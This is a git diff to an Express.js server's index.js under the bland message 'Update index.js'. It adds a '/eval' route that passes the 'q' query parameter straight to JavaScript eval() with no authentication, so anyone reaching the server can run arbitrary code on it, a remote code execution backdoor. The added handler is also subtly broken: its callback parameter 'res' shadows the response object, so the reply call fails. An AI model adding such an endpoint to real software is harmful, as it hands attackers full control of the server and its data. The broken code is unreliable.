Update index.js

index.js

@@ -1027,6 +1027,40 @@ return res.json({message: "Success", code: 200, data:data})
      });
 }
 })
+.get('/eval', async (req, res) => {
+    const formatResponse = (response) => {
+        try {
+          return JSON.stringify(JSON.parse(response), null, 2);
+        } catch {
+          return util.format(response);
+        }
+      };
+    let evalCmd = '';
+  try {
+    let q = req.query.q || req.query.query;
+    if (!q) return res.json({ message: 'Input parameter q' });
+    evalCmd = /await/i.test(q) ? eval('(async() => { ' + q + ' })()') : eval(q);
+  } catch (e) {
+    evalCmd = e;
+  }
+  new Promise((resolve, reject) => {
+    try {
+      resolve(evalCmd);
+    } catch (err) {
+      reject(err);
+    }
+  })
+    ?.then(res =>{
+      let result = formatResponse(res)
+      return res.json({message: "Success", code: 200, data: result});
+    })
+    ?.catch(err => {
+        return res.json({ message: "Internal Server Error",
+            code: 500,
+            message: formatResponse(err)
+         });
+    });
+})
 .get('/ytsearch', async (req, res) => {
     try {
         let q = req.query.q || req.query.query;